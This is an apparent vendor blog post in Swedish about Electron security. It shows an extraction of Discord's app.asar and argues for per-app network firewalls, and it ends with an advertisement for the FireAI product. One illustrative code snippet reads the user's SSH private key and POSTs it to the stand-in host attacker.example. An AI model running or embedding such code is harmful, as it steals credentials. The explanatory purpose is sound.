Electron kombinerar Chromium-renderingsmotorn med Node.js runtime så att en JavaScript-kodbas kan levereras som en stationär app på macOS, Windows och Linux. Slack, Discord, Notion och många andra är byggda på det här sättet, och i flera år har Microsoft Teams det också. Bekvämligheten är verklig. Så är en konsekvens värd att förstå: en Electron-app är inte en process med en behörighetsnivå, och dess medföljande källa är inte svår att läsa.
Två processer, två privilegienivåer
Varje Electron-app har en huvudprocess, som kör fullständiga Node.js med normal fil- och nätverksåtkomst på OS-nivå, och en eller flera Renderer-processer, som visar webbinnehåll i en Chromium-kontext. Electrons egna säkerhetsdokumentation är explicit om risken att den linjen suddas ut: "Det är av största vikt att du inte aktiverar Node.js-integration i någon renderare som laddar fjärrinnehåll", eftersom det tar bort barriären mellan en webbsida och operativsystemet. Dess angivna fix är inte "lita på innehållet istället", utan arkitektonisk: håll nodåtkomst borta från renderaren och exponera endast ett avsiktligt smalt API för det genom ett förinläst skript och contextBridge API, med kontextisolering på.
// If nodeIntegration were on and an attacker's script ran in this renderer:
const fs = require('fs')
const https = require('https')
const key = fs.readFileSync(`${process.env.HOME}/.ssh/id_rsa`, 'utf8')
const req = https.request({ hostname: 'attacker.example', path: '/collect', method: 'POST' })
req.end(key)Arkivet är ingen hemlighet: extrahera en riktig app
De flesta Electron-appar skickar JavaScript och HTML i en app.asar-fil. Electrons egna dokument är direkta om vad det formatet är till för: "arkiv är skrivskyddade" och buntning till ett är avsett att "dölja din källkod från översiktlig inspektion" - dess egen formulering, inte ett externt påstående - samtidigt som det tydligt sägs någon annanstans att ASAR inte tillhandahåller någon kryptering. För att kontrollera vad det betyder i praktiken extraherade vi den verkliga, för närvarande installerade kopian av Discord för macOS (build 0.0.294) på den här maskinen, med hjälp av Electrons egen underhållna packer.
npm install -g @electron/asar
asar extract "/Applications/Discord.app/Contents/Resources/app.asar" ./discord_src
find ./discord_src -type f | wc -l
1056Ett kommando producerade 1 056 vanliga filer: läsbar JavaScript, package.json och Discords egen modullayout, precis som Electrons dokumentation säger att den kommer att göra. No decompilation, no reverse engineering, no password. Detta är inte ett fel i Discord; it is how the ASAR format works for every Electron app, by design.
Vad ett riktigt utdrag visar om nätverksbeteende
Med källan i klartext blir både säkerhetsgranskning och sökning triviala. Vi sökte efter två saker i de extraherade filerna: vilka webPreferences Discord faktiskt ställer in och vilka värdnamn som visas i dess egen kod (exklusive tredjeparts node_modules).
grep -rn "nodeIntegration\|contextIsolation" --exclude-dir=node_modules .
app_bootstrap/splashScreen.js:376: nodeIntegration: false,
app_bootstrap/splashScreen.js:379: contextIsolation: true,
grep -rhoE "https?://[A-Za-z0-9._-]+\.[A-Za-z]{2,}" --exclude-dir=node_modules . | sed -E 's#https?://##' | sort | uniq -c | sort -rn | head
12 www.w3.org
3 twitter.com
3 discord.com
2 github.com
1 updates.discord.com
1 reactjs.orgFör att vara rättvis mot den specifika appen vi testade: Discords startskärmsfönster följer Electrons härdningsråd exakt, nodeIntegration: false och contextIsolation: true. Det är värt att säga tydligt snarare än att hoppa över. Poängen med detta är inte att Discord är osäker; det är att vi kan kontrollera, på några minuter, på vilken Electron-app som helst, eftersom arkivformatet inte håller något dolt. De flesta som installerar en Electron-app ser aldrig ut, och de flesta statiska endpoint-verktyg gör det inte heller.
Varför en binär förtroendebrandvägg inte kan hjälpa här
Inget av värdnamnen ovan är hemligt eller överraskande för en chattapp att nå, och det är just det som är problemet för försvar på nätverksnivå. En brandvägg som bestämmer genom kodsignatur ser en sak: en attesterad, Apple-signerad binär som gör vanliga HTTPS-förfrågningar på port 443. Den har inget sätt att skilja ett legitimt API-anrop, en medföljande analys-SDK och, i en genuint komprometterad renderare, ett exfiltreringsförsök från varandra. Alla tre ser ut som samma pålitliga process när de pratar med internet, eftersom de är samma process.
- Att döma en Electron-app efter dess kodsignatur säger ingenting om vilka av dess många medföljande beroenden som gör vilka anslutningar.
- Eftersom källan är vanlig JavaScript i ett okrypterat arkiv, är det realistiskt, inte teoretiskt, att granska vad en app kan nå för alla som är villiga att köra
asar extract. - Den enda kontrollen som inte är beroende av att lita på binären är per-process, per-destination nätverkspolicy: bestämmer, vid uttaget, vad en given app får nå.
Var FireAI och HisnLabs kommer in
A signed Electron binary and a hidden telemetry SDK inside it look identical to a firewall that only checks the code signature; FireAI checks the connection itself, per app, so you can see and deny what any of your Electron apps are actually reaching, not just trust that they are Apple-notarized.
FireAI är HisnLabs eget verktyg: en AI-brandvägg som körs direkt på din Mac. Den visar varje anslutning dina appar gör, på klarspråk, och låter dig avgöra vad som lämnar din Mac — AI:n körs lokalt, så din trafik skickas aldrig till oss eller någon annan. HisnLabs säkerhetsforskningsteam är de som håller de bedömningarna tillförlitliga: de katalogiserar vilka domäner som är vanlig telemetri och vilka som är en riktig tjänst, spårar land och nätverk bakom en anslutning och tränar den lokala modellen (Autopilot-funktionen) på verkliga trafikmönster — utan att något av det lämnar din Mac.
Du kan läsa om de tekniska besluten bakom, eller prova FireAI i 17 dagar, på FireAI, från HisnLabs.